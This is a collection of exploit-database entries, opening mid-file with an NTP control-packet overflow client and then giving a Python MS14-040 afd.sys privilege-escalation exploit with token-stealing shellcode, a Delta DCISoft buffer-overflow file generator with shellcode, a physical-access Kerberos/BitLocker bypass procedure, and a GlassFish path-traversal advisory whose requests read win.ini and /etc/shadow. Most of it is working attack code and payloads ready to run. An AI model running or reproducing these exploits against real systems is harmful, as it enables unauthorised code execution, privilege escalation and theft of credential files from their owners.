        return (1);
}



u_long
getkeyid(
	const char *keyprompt
	)
{
	int c;
	FILE *fi;
	char pbuf[20];
	size_t i;
	size_t ilim;

#ifndef SYS_WINNT
	if ((fi = fdopen(open("/dev/tty", 2), "r")) == NULL)
#else
	if ((fi = _fdopen(open("CONIN$", _O_TEXT), "r")) == NULL)
#endif /* SYS_WINNT */
		fi = stdin;
	else
		setbuf(fi, (char *)NULL);
	fprintf(stderr, "%s", keyprompt); fflush(stderr);
	for (i = 0, ilim = COUNTOF(pbuf) - 1;
	     i < ilim && (c = getc(fi)) != '\n' && c != EOF;
	     )
		pbuf[i++] = (char)c;
	pbuf[i] = '\0';
	if (fi != stdin)
		fclose(fi);

	return (u_long) atoi(pbuf);
}


void
warning(
	const char *fmt,
	const char *st1,
	const char *st2
	)
{
	(void) fprintf(stderr, "%s: ", progname);
	(void) fprintf(stderr, fmt, st1, st2);
	(void) fprintf(stderr, ": ");
	perror("");
}


int
sendpkt(
	void *	xdata,
	size_t	xdatalen
	)
{
	if (debug >= 3)
		printf("Sending %lu octets\n", (u_long)xdatalen);
        
        sendto(sockfd,xdata,(size_t)xdatalen, 0,(struct sockaddr *)&serverAddr,addr_size);


	if (debug >= 4) {
		int first = 8;
		char *cdata = xdata;

		printf("Packet data:\n");
		while (xdatalen-- > 0) {
			if (first-- == 0) {
				printf("\n");
				first = 7;
			}
			printf(" %02x", *cdata++ & 0xff);
		}
		printf("\n");
	}
	return 0;
}


void error(char *msg)
{
    perror(msg);
    exit(0);
}


int main(int argc, char *argv[])
{

  char *cfgcmd;
  u_short rstatus;
  int rsize;
  const char *rdata;
  char *resp;
  int res;
  int col;
  int i;
     
  int portNum, nBytes;
  char buffer[1024];


  /*Create UDP socket*/
  sockfd = socket(PF_INET, SOCK_DGRAM, 0);

  /*Configure settings in address struct*/
  serverAddr.sin_family = AF_INET;
  serverAddr.sin_port = htons(123);
  serverAddr.sin_addr.s_addr = inet_addr("127.0.0.1");
  memset(serverAddr.sin_zero, '\0', sizeof serverAddr.sin_zero);  

  /*Initialize size variable to be used later on*/
  addr_size = sizeof serverAddr;




  cfgcmd = "setvar A = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";

  res = sendrequest(CTL_OP_CONFIGURE, 0, 1, strlen(cfgcmd), cfgcmd,
		      &rstatus, &rsize, &rdata);

  sleep(5);
  cfgcmd = "A";

  res = sendrequest(CTL_OP_READVAR, 0, 1, strlen(cfgcmd), cfgcmd, 
                       &rstatus, &rsize, &rdata);


}

/*
 * sendrequest - format and send a request packet
 */
int
sendrequest(
	int opcode,
	int associd,
	int auth,
	int qsize,
	char *qdata
	)
{
	struct ntp_control qpkt;
	int	pktsize;
	u_long	key_id;
	char *	pass;
	int	maclen;

	/*
	 * Check to make sure the data will fit in one packet
	 */
	if (qsize > CTL_MAX_DATA_LEN) {
		fprintf(stderr,
			"***Internal error!  qsize (%d) too large\n",
			qsize);
		return 1;
	}

	/*
	 * Fill in the packet
	 */
	qpkt.li_vn_mode = PKT_LI_VN_MODE(0, pktversion, MODE_CONTROL);
	qpkt.r_m_e_op = (u_char)(opcode & CTL_OP_MASK);
	qpkt.sequence = htons(sequence);
	qpkt.status = 0;
	qpkt.associd = htons((u_short)associd);
	qpkt.offset = 0;
	qpkt.count = htons((u_short)qsize);

	pktsize = CTL_HEADER_LEN;

	/*
	 * If we have data, copy and pad it out to a 32-bit boundary.
	 */
	if (qsize > 0) {
		memcpy(qpkt.data, qdata, (size_t)qsize);
		pktsize += qsize;
		while (pktsize & (sizeof(uint32_t) - 1)) {
			qpkt.data[qsize++] = 0;
			pktsize++;
		}
	}

	/*
	 * If it isn't authenticated we can just send it.  Otherwise
	 * we're going to have to think about it a little.
	 */
	if (!auth && !always_auth) {
		return sendpkt(&qpkt, pktsize);
	} 

	/*
	 * Pad out packet to a multiple of 8 octets to be sure
	 * receiver can handle it.
	 */
	while (pktsize & 7) {
		qpkt.data[qsize++] = 0;
		pktsize++;
	}

	/*
	 * Get the keyid and the password if we don't have one.
	 */
	if (info_auth_keyid == 0) {
		key_id = getkeyid("Keyid: ");
		if (key_id == 0 || key_id > NTP_MAXKEY) {
			fprintf(stderr, 
				"Invalid key identifier\n");
			return 1;
		}
		info_auth_keyid = key_id;
	}
	if (!authistrusted(info_auth_keyid)) {
		pass = getpass_keytype(info_auth_keytype);
		if ('\0' == pass[0]) {
			fprintf(stderr, "Invalid password\n");
			return 1;
		}
		authusekey(info_auth_keyid, info_auth_keytype,
			   (u_char *)pass);
		authtrust(info_auth_keyid, 1);
	}

	/*
	 * Do the encryption.
	 */
	maclen = authencrypt(info_auth_keyid, (void *)&qpkt, pktsize);
	if (!maclen) {  
		fprintf(stderr, "Key not found\n");
		return 1;
	} else if ((size_t)maclen != (info_auth_hashlen + sizeof(keyid_t))) {
		fprintf(stderr,
			"%d octet MAC, %lu expected with %lu octet digest\n",
			maclen, (u_long)(info_auth_hashlen + sizeof(keyid_t)),
			(u_long)info_auth_hashlen);
		return 1;
	}
	
	return sendpkt((char *)&qpkt, pktsize + maclen);
}
            
# Exploit Title: MS14-040 - AFD.SYS Dangling Pointer
# Date: 2016-02-05
# Exploit Author: Rick Larabee
# Vendor Homepage: www.microsoft.com
# Version: Windows 7, 32 bit
# Tested on: Win7 x32
#  	     afd.sys - 6.1.7600.16385
#            ntdll.dll - 6.1.7600.16385 
#
# CVE : CVE-2014-1767
# Category: Local Privilege Escalation
# References:
# 	http://www.siberas.de/papers/Pwn2Own_2014_AFD.sys_privilege_escalation.pdf
#	http://ricklarabee.blogspot.com/
#	https://warroom.securestate.com/ms14-040-afd-sys-dangling-pointer-further-analysis/
# 	https://technet.microsoft.com/en-us/library/security/ms14-040.aspx
#	http://www.cvedetails.com/cve/CVE-2014-1767/
#
# Greetz: PWN4GEPWN1E, SecurityMook



from ctypes import *
import socket, time, os, struct, sys
from ctypes.wintypes import HANDLE, DWORD

kernel32 = windll.kernel32
ntdll    = windll.ntdll
Psapi    = windll.Psapi

MEMRES     = (0x1000 | 0x2000)
PAGEEXE    = 0x00000040
Zerobits   = c_int(0)
RegionSize = c_int(0x1000)
written    = c_int(0)

FakeObjSize = 0xA0

GENERIC_READ = 0x80000000
GENERIC_WRITE = 0x40000000
GENERIC_EXECUTE = 0x20000000
GENERIC_ALL = 0x10000000
INVALID_HANDLE_VALUE = -1 

WSAGetLastError          = windll.Ws2_32.WSAGetLastError
WSAGetLastError.argtypes = ()
WSAGetLastError.restype  = c_int
SOCKET                   = c_int
WSASocket                = windll.Ws2_32.WSASocketA
WSASocket.argtypes       = (c_int, c_int, c_int, c_void_p, c_uint, DWORD)
WSASocket.restype        = SOCKET
closesocket              = windll.Ws2_32.closesocket
closesocket.argtypes     = (SOCKET,)
closesocket.restype      = c_int
connect                  = windll.Ws2_32.connect
connect.argtypes         = (SOCKET, c_void_p, c_int)
connect.restype          = c_int

class sockaddr_in(Structure):
    _fields_ = [
        ("sin_family", c_short),
        ("sin_port", c_ushort),
        ("sin_addr", c_ulong),
        ("sin_zero", c_char * 8),
        ]   

def findSysBase(drvname=None):
    ARRAY_SIZE            = 1024
    myarray               = c_ulong * ARRAY_SIZE 
    lpImageBase           = myarray() 
    cb                    = c_int(1024) 
    lpcbNeeded            = c_long() 
    drivername_size       = c_long() 
    drivername_size.value = 48

    Psapi.EnumDeviceDrivers(byref(lpImageBase), cb, byref(lpcbNeeded)) 
    for baseaddy in lpImageBase: 
        drivername = c_char_p("\x00"*drivername_size.value) 
        if baseaddy: 
            Psapi.GetDeviceDriverBaseNameA(baseaddy, drivername, 
                            drivername_size.value)
            if drvname:
                if drivername.value.lower() == drvname:
                    print "[+] Retrieving %s info..." % drvname
                    print "[+] %s base address: %s" % (drvname, hex(baseaddy))
                    return baseaddy
            else:
                if drivername.value.lower().find("krnl") !=-1:
                    print "[+] Retrieving Kernel info..."
                    print "[+] Kernel version:", drivername.value
                    print "[+] Kernel base address: %s" % hex(baseaddy) 
                    return (baseaddy, drivername.value)
    return None


def CreateBuffer1():
    inbuf1size = 0x30
    virtualAddress = 0x18888888
    length = 0x20000
   
    inbuf1  = "\x00" * 0x18 + struct.pack("L", virtualAddress)    #0x1a
    inbuf1 += struct.pack("L", length)            #0x20
    inbuf1 += "\x00" * 0x8 + "\x01"   
    inbuf1 += "\x00" * (inbuf1size - len(inbuf1))
       
    baseadd    = c_int(0x1001)
    dwStatus = ntdll.NtAllocateVirtualMemory(-1,
                                        byref(baseadd),
                                        0x0,
                                        byref(RegionSize),
                                        MEMRES,
                                        PAGEEXE)
    kernel32.WriteProcessMemory(-1, 0x1000, inbuf1, inbuf1size, byref(written))


def CreateBuffer2():
    inbuf2size = 0x10
    addrforbuf2 = 0x0AAAAAAA
   
    inbuf2 = "\x01\x00\x00\x00"
    inbuf2 += struct.pack("L", addrforbuf2)
    inbuf2 += "\x00" * (inbuf2size -len(inbuf2))
       
    baseadd    = c_int(0x2001)
    dwStatus = ntdll.NtAllocateVirtualMemory(-1,
                                        byref(baseadd),
                                        0x0,
                                        byref(RegionSize),
                                        MEMRES,
                                        PAGEEXE)   
    kernel32.WriteProcessMemory(-1, 0x2000, inbuf2, inbuf2size, byref(written))

def CreateFakeObject():
    print "[+] Print creating fakeobject"
    fakeobject2addr = 0x2200
    fakeobject2 = "\x00"*16 + struct.pack("L", HalDispatchTable+sizeof(c_void_p)-0x1C)
    fakeobj2size = len(fakeobject2)
    kernel32.WriteProcessMemory(-1, fakeobject2addr, fakeobject2, fakeobj2size, byref(written))

    objhead = ("\x00\x00\x00\x00\xa8\x00\x00\x00"
        "\x00\x00\x00\x00\x00\x00\x00\x00"
        "\x01\x00\x00\x00\x01\x00\x00\x00"
        "\x00\x00\x00\x00\x16\x00\x08\x00"
        "\x00\x00\x00\x00\x00\x00\x00\x00")


    fakeobject = objhead
    fakeobject += struct.pack("L", fakeobject2addr) + "\x41"*96 + struct.pack("L", HalDispatchTable + sizeof(c_void_p) - 0xB4)
    fakeobject += "\x41" * (FakeObjSize - len(fakeobject))
    kernel32.WriteProcessMemory(-1, 0x2100, fakeobject, FakeObjSize, byref(written))   
   
print "[+] creating socket..."
sock = WSASocket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP, None, 0, 0)

if sock == -1:
    print "[-] no luck creating socket!"
    sys.exit(1)

print "[+] got sock 0x%x" % sock

addr = sockaddr_in()
addr.sin_family = socket.AF_INET
addr.sin_port = socket.htons(135)
addr.sin_addr = socket.htonl(0x7f000001)

connect(sock, byref(addr), sizeof(addr))

print "[+] sock connected."
print "\n[+] GO!"

(krnlbase, kernelver) = findSysBase()
hKernel = kernel32.LoadLibraryExA(kernelver, 0, 1)
HalDispatchTable = kernel32.GetProcAddress(hKernel, "HalDispatchTable")
HalDispatchTable -= hKernel
HalDispatchTable += krnlbase
print "[+] HalDispatchTable address:", hex(HalDispatchTable)
halbase = findSysBase("halmacpi.dll")
OS = "7"
if OS == "7":
    HaliQuerySystemInformation = halbase+0x278A2 # Offset for win7
    _KPROCESS = "\x50"
    _TOKEN    = "\xf8"
    _UPID     = "\xb4"
    _APLINKS  = "\xb8"   

print "[+] HaliQuerySystemInformation:", hex(HaliQuerySystemInformation)

IoStatus = c_ulong()
IoStatusBlock = c_ulong()

CreateBuffer1()
CreateBuffer2()
CreateFakeObject()

inbuf1 = 0x1000
inbuf2 = 0x2000
hWF = HANDLE(0)
FakeWorkerFactoryADDR = 0x2100


# Trigger 1
# afd!afdTransmitFile
ntdll.ZwDeviceIoControlFile(sock,None,None,None,byref(IoStatusBlock),0x1207f, inbuf1, 0x30, None, 0x0)

CompletionPort = HANDLE(kernel32.CreateIoCompletionPort( INVALID_HANDLE_VALUE, None, 0, 0))

ntdll.ZwCreateWorkerFactory(byref(hWF),GENERIC_ALL,None,CompletionPort,INVALID_HANDLE_VALUE,None,None,0,0,0)
hWFaddr = hWF
print "[+] WorkerFactoryHandle:", hWF.value
hWFaddr = int(addressof(hWF))

shellcode_address   = 0x00020700
padding           = "\x90"*2
HalDispatchTable0x4 = HalDispatchTable + 0x4

_WFValue = struct.pack("L", hWFaddr)

sc_pointer = struct.pack("L", shellcode_address+0x4)   
restore_ptrs =  "\x31\xc0" + \
                "\xb8" + struct.pack("L", HaliQuerySystemInformation) + \
                "\xa3" + struct.pack("L", HalDispatchTable0x4)   
   
tokenstealing =  "\x52"                                 +\
                 "\x53"                                 +\
                 "\x33\xc0"                             +\
                 "\x64\x8b\x80\x24\x01\x00\x00"         +\
                 "\x8b\x40" + _KPROCESS                 +\
                 "\x8b\xc8"                             +\
                 "\x8b\x98" + _TOKEN + "\x00\x00\x00"   +\
                 "\x89\x1d\x00\x09\x02\x00"             +\
                 "\x8b\x80" + _APLINKS + "\x00\x00\x00" +\
                 "\x81\xe8" + _APLINKS + "\x00\x00\x00" +\
                 "\x81\xb8" + _UPID + "\x00\x00\x00\x04\x00\x00\x00" +\
                 "\x75\xe8"                             +\
                 "\x8b\x90" + _TOKEN + "\x00\x00\x00"   +\
                 "\x8b\xc1"                             +\
                 "\x89\x90" + _TOKEN + "\x00\x00\x00"  

fixobjheaders = "\x33\xC0"                                +\
                "\x64\x8B\x80\x24\x01\x00\x00"            +\
                "\x8B\x40\x50"                            +\
                "\x8B\x80\xF4\x00\x00\x00"                +\
                "\x8B\xD8"                                +\
                "\x8B\x00"                                +\
                "\x8B\x0D" + _WFValue                    +\
                "\x83\xE1\xFC"                            +\
                "\x03\xC9"                                +\
                "\x03\xC1"                                +\
                "\xC7\x00\x00\x00\x00\x00"                +\
                "\x83\xC3\x30"                            +\
                "\x8B\xC3"                                +\
                "\x8B\x1B"                                +\
                "\x83\xEB\x01"                            +\
                "\x89\x18"                                +\
                "\x5B"                                    +\
                "\x5A"                                    +\
                "\xC2\x10\x00"

               
shellcode = sc_pointer + padding + restore_ptrs + tokenstealing + fixobjheaders
shellcode_size    = len(shellcode)
orig_size         = shellcode_size
startPage = c_int(0x00020000)
kernel32.VirtualProtect(startPage, 0x1000, PAGEEXE, byref(written))
kernel32.WriteProcessMemory(-1, shellcode_address, shellcode, shellcode_size, byref(written))


### Trigger 2
## afd!AfdTransmitPackets
ntdll.ZwDeviceIoControlFile(sock,None,None,None,byref(IoStatusBlock),0x120c3, inbuf2, 0x10, None, 0x0)

ntdll.ZwQueryEaFile(INVALID_HANDLE_VALUE, byref(IoStatus), None, 0, False, FakeWorkerFactoryADDR, FakeObjSize-0x04, None, False)

ntdll.ZwSetInformationWorkerFactory(hWF, 8, shellcode_address, sizeof(c_void_p)) ;

inp  = c_ulong()
out  = c_ulong()
inp  = 0x1337
qip = ntdll.NtQueryIntervalProfile(inp, byref(out))
print "[*] Spawning a SYSTEM shell..."
os.system("cmd.exe /K cd c:\\windows\\system32")
            
# Exploit Title: Alternate Pic View 2.150 PGM CRASH POC
# Date: 14-02-2016
# Exploit Author: Shantanu Khandelwal
# Vendor Homepage: http://www.alternate-tools.com
<https://potplayer.daum.net/>
# Software Link: http://www.alternate-tools.com/pages/c_picview.php?lang=ENG
# Version: 2.150
# Tested on: Windows XP Sp3,Windows 7
# CVE : unknown at the moment

#============================================================================================
Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=01e57f20 ebx=003b0178 ecx=0065014c edx=e16a9530 esi=01e57f18
edi=003b0000
eip=7c9108b2 esp=0012f448 ebp=0012f504 iopl=0 nv up ei pl nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010213
#===========================================================================================

Alternate Pic Viewer crashes on a faulty PGM image file .

Faulty PGM file is attached as POC

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/
            
#!/usr/bin/env python
#
#
# Delta Industrial Automation DCISoft 1.12.09 Stack Buffer Overflow Exploit
#
#
# Vendor: Delta Electronics, Inc.
# Product web page: http://www.delta.com.tw
# Software link: http://www.delta.com.tw/product/em/download/download_main.asp?act=3&pid=3&cid=5&tpid=3
# Affected version: 1.12.09 (Build 12102014)
#
# Summary: DCISoft is a integrated configuration tool of Delta
# network modules (DVPEN01-SL, RTU-EN01, IFD9506, IFD9507, DVPSCM12-SL,
# DVPSCM52-SL) for WINDOWS operation system.
#
# Desc: The vulnerability is caused due to a boundary error in
# the processing of a project file, which can be exploited to
# cause a stack based buffer overflow when a user opens e.g. a
# specially crafted .DCI file. Successful exploitation allows
# execution of arbitrary code on the affected machine.
#
# ----------------------------------------------------------------------------
# (1554.1830): Access violation - code c0000005 (!!! second chance !!!)
# eax=00000001 ebx=0018f684 ecx=44444444 edx=777a4a20 esi=0018f65c edi=777a4a20
# eip=73d34b64 esp=0018cdd8 ebp=0018cdec iopl=0         nv up ei pl nz na po nc
# cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
# MFC42!Ordinal2740+0x88:
# 73d34b64 8b01            mov     eax,dword ptr [ecx]  ds:002b:44444444=????????
# 0:000> d esp
# 0018cdd8  1c f6 18 00 a8 a5 47 00-01 00 00 00 01 00 00 00  ......G.........
# 0018cde8  5c f6 18 00 fc cd 18 00-a4 59 41 00 e1 b5 85 88  \........YA.....
# 0018cdf8  5c f6 18 00 d8 f8 18 00-fa 38 41 00 84 f6 18 00  \........8A.....
# 0018ce08  c8 8f 74 02 e8 1f 7c 02-04 ce 18 00 c8 8f 74 02  ..t...|.......t.
# 0018ce18  04 ce 18 00 44 44 44 44-44 44 44 44 44 44 44 44  ....DDDDDDDDDDDD
# 0018ce28  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
# 0018ce38  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
# 0018ce48  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
# --
# (11bc.1394): Access violation - code c0000005 (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# Defaulted to export symbols for C:\Program Files (x86)\Delta Industrial Automation\Communication\DCISoft 1.12\MFC42.DLL - 
# eax=0018cdfc ebx=0018f684 ecx=0018cdec edx=ce085164 esi=0018f65c edi=31f7ae9c
# eip=43434343 esp=0018cdcc ebp=0018cdec iopl=0         nv up ei pl nz ac pe cy
# cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00210217
# 43434343 ??              ???
# ----------------------------------------------------------------------------
#
# Tested on: Microsoft Windows 7 Professional SP1 (EN)
#            Microsoft Windows 7 Ultimate SP1 (EN)
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2016-5305
# Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5305.php
#
#
# 13.11.2015
#


sc = ("\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"
      "\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"
      "\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"
      "\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e"
      "\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c"
      "\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x65\x64"
      "\x21\x01\x68\x20\x50\x77\x6e\x68\x20\x5a\x53\x4c\x89\xe1\xfe"
      "\x49\x0b\x31\xc0\x51\x50\xff\xd7")

buffer = "\x41" * 156          # align
buffer += "\x3c\xce\x18\x00"   # eip - jmp esp+49h
buffer += "\x90" * 15          # nopsled
buffer += sc                   # 113 bytes messagebox shellcode
buffer += "\x44" * 7926        # extra shellcode space
buffer += "\xec\xcd\x18\x00"   # overwrite data segment to control eip - mov eax,dword ptr [ecx]
buffer += "\x45" * 2203        # padding to fix 10421 bytes

f = open ("Detachment.dci", "w")
f.write(buffer)
f.close()
print "File Detachment.dci successfully created!\n"
            
# Exploit Title: Windows Kerberos Security Feature Bypass
# Date: 12-02-2016
# Exploit Author: Nabeel Ahmed
# Tested on: Windows 7 Professional (x32/x64)
# CVE : CVE-2016-0049
# Category: Local Exploit

1) Prerequisites:

		- Standard Windows 7 Fully patched and member of an existing domain.
		- BitLocker enabled without PIN or USB key.
		- Password Caching enabled
		- Victim has cached credentials stored on the system from previous logon.

2) Reproduce:
		STEP 1: Obtain physical access to a desktop or laptop with the above configuration.
		STEP 2: Boot system and determine FQDN of the device. (example. CLIENT.domain.local), this can be obtained by monitoring the network broadcast communication, which the system sends prior to loggin in. The username can be extracted from the loginscreen (E.g USER1)
		STEP 3: Create Active Directory for the domain you obtained in STEP 2 (domain.local).
		STEP 4: Create User with similar name as the previously logged in user. (E.g domain\USER1), and force user to change password upon next login.
		STEP 5: Create Computer Object in Active Directory with the same name as the target system. (E.g CLIENT)
		STEP 6: Use ADSI Edit and change the attribute ServicePrincipleName of the Computer Object you created in STEP 5, Add the FQDN as following (HOST/CLIENT.domain.local).
		STEP 7: Establish network connection between the target system and the newly created Domain Controller.
		STEP 8: Login with the password defined in STEP 4.
		STEP 9: Target system displays change password screen, set new password and confirm.
		STEP 10: Message "Your Password has been changed" is displayed, followed by the following error message "The trust relationship between this workstation and the primary domain failed."
		STEP 11: Disconnect Target system's network connection.
		STEP 12: Login with the new changed password.

3) Impact: 
		Access gained to the information stored to the FDE target system without previous knowledge of password or any other information.

4) Solution:
		Install the latest patches from 09-02-2016 using Windows Update.
		
5) References:
		https://technet.microsoft.com/en-us/library/security/ms16-014.aspx
		https://support.microsoft.com/en-us/kb/3134228
		
6) Credits:
		Vulnerability discovered by Nabeel Ahmed (https://twitter.com/NabeelAhmedBE) and Tom Gilis (https://twitter.com/tgilis) of Dimension Data (https://www.dimensiondata.com)
            
Trustwave SpiderLabs Security Advisory TWSL2015-016:
Path Traversal in Oracle GlassFish Server Open Source Edition

Published: 08/27/2015
Version: 1.0

Vendor: Oracle Corporation (Project sponsored by Oracle)
Product: GlassFish Server Open Source Edition
Version affected:  4.1 and prior versions

Product description:
Built using the GlassFish Server Open Source Edition, Oracle GlassFish
Server delivers a flexible, lightweight and extensible Java EE 6 platform.
It provides a small footprint, fully featured Java EE application server
that is completely supported for commercial deployment and is available as
a standalone offering.

The Administration Console of Oracle GlassFish Server, which is listening
by default on port 4848/TCP, is prone to a directory traversal
vulnerability. This vulnerability can be exploited by remote attackers to
access sensitive data on the server being authenticated.

Finding 1: Directory traversal
Credit: Piotr Karolak of Trustwave's SpiderLabs

#Proof of Concept on Microsoft Windows installation

The authenticated Directory Traversal vulnerability can be exploited by
issuing a specially crafted HTTP GET request utilizing a simple bypass,
%C0%2F instead of (/),URL encoding.

Example:

REQUEST
========
GET /theme/META-INF/prototype%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwindows/win.ini

GET /theme/META-INF/json%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwindows/win.ini

GET /theme/META-INF/dojo%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwindows/win.ini

GET /theme/META-INF%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwindows/win.ini

GET /theme/com/sun%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwindows/win.ini 

GET /theme/com%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwindows/win.ini

Cookie: JSESSIONID=5c47a3575077b014449e17877a0c
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://a.b.c.d:4848/
Host: a.b.c.d:4848


RESPONSE
========
HTTP/1.1 200 OK
Server: GlassFish Server Open Source Edition  4.1
X-Powered-By: Servlet/3.1 JSP/2.3 (GlassFish Server Open Source Edition  4.1  Java/Oracle Corporation/1.8)
Last-Modified: Mon, 12 Jan 2015 10:00:00 GMT
Transfer-Encoding: chunked

; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
CMCDLLNAME32=mapi32.dll
CMC=1
MAPIX=1
MAPIXVER=1.0.0.1
OLEMessaging=1
[MCI Extensions.BAK]
3g2=MPEGVideo
3gp=MPEGVideo
3gp2=MPEGVideo
3gpp=MPEGVideo
aac=MPEGVideo
adt=MPEGVideo
adts=MPEGVideo
m2t=MPEGVideo
m2ts=MPEGVideo
m2v=MPEGVideo
m4a=MPEGVideo
m4v=MPEGVideo
mod=MPEGVideo
mov=MPEGVideo
mp4=MPEGVideo
mp4v=MPEGVideo
mts=MPEGVideo
ts=MPEGVideo
tts=MPEGVideo

The response contains the contents of the "win.ini" file, proving that the server allows remote users to download the contents of system files.


#Proof of Concept on Linux installation

Example:

REQUEST
=======

GET /theme/META-INF/%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afetc%c0%afshadow/

GET /theme/%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afetc%c0%afshadow HTTP/1.1
Host: a.b.c.d:4848
Accept: */*
Accept-Language: en
Connection: close

RESPONSE
========
HTTP/1.1 200 OK
Server: GlassFish Server Open Source Edition  4.1 
X-Powered-By: Servlet/3.1 JSP/2.3 (GlassFish Server Open Source Edition  4.1  Java/Oracle Corporation/1.7)
Last-Modified: Tue, 13 Jan 2015 10:00:00 GMT
Date: Tue, 10 Jan 2015 10:00:00 GMT
Connection: close
Content-Length: 1087

root:!:16436:0:99999:7:::
daemon:*:16273:0:99999:7:::
bin:*:16273:0:99999:7:::
sys:*:16273:0:99999:7:::
sync:*:16273:0:99999:7:::

TRUNCATED

lightdm:*:16273:0:99999:7:::
colord:*:16273:0:99999:7:::
hplip:*:16273:0:99999:7:::
pulse:*:16273:0:99999:7:::
test:$1$Duuk9PXN$IzWNTK/hPfl2jzhHmnrVL.:16436:0:99999:7:::
smmta:*:16436:0:99999:7:::
smmsp:*:16436:0:99999:7:::
mysql:!:16436:0:99999:7:::

Vendor Response:
"We plan to fix this issue in the next major GlassFish Server Open Source
Edition release."

Remediation Steps:
No fix is available at this time for the GlassFish Server Open Source
Edition release. However, this vulnerability can be mitigated with the use
of technologies, such as Web Application Firewalls (WAF) or Intrusion
Prevention Systems (IPS).  Please note that Oracle GlassFish Server 3.x
which is the current commercial release of GlassFish is not affected.

Revision History:
01/12/2015 - Vulnerability disclosed to vendor
02/18/2015 - Notified vendor about the updates to TW security policy
05/19/2015 - Ninety-day deadline exceeded
07/14/2015 - Requested status from vendor
07/31/2015 - Requested status from vendor
08/21/2015 - Notified vendor about public disclosure
08/27/2015 - Advisory published


References
1. https://www.owasp.org/index.php/Path_Traversal
2. https://glassfish.java.net/
